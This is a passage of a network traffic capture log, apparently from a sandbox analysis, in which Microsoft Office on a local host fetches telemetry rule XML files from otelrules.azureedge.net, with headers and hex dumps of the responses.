2024-11-18 16:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162420Z-164f84587bf6n6jwhC1DFW90fn00000005ag00000000473w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:20 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:20 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162420Z-164f84587bf7k72dhC1DFWvczs00000005yg00000000nwsa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:20 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:20 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162420Z-16547b76f7fhvzzthC1DFW5570000000060000000000uy35 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:20 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ebe65da0-001e-0014-21b1-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162420Z-164f84587bft9l9khC1DFW32rc000000060000000000epkz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:20 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:20 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 42a4478f-a01e-0032-2706-371949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162420Z-164f84587bf6h2bxhC1DFWbcm8000000068000000000aw7x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:21 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162421Z-16547b76f7fkf5v9hC1DFW2y5s00000005zg0000000056rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:21 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49937	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:21 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162421Z-16547b76f7f64d6whC1DFWf9vn00000004hg00000000q57e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:21 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49938	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:21 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: cf21543a-c01e-0079-7409-37e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162421Z-16547b76f7fkf5v9hC1DFW2y5s0000000600000000002p2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:21 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49939	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:21 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:21 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162421Z-16547b76f7fbkfmzhC1DFWm9tw00000005hg00000000vpd1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:21 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49940	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:21 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:21 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:21 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 83606b1e-901e-00ac-2b7d-37b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162421Z-164f84587bft9l9khC1DFW32rc0000000640000000002uhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:21 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:21 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:22 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162422Z-16547b76f7f6892shC1DFWawd0000000031000000000bctt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:22 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49942	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 16:24:22 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 16:24:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 16:24:22 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T162422Z-164f84587bfsgfx9hC1DFWw1as00000005w000000000mew2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 16:24:22 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R 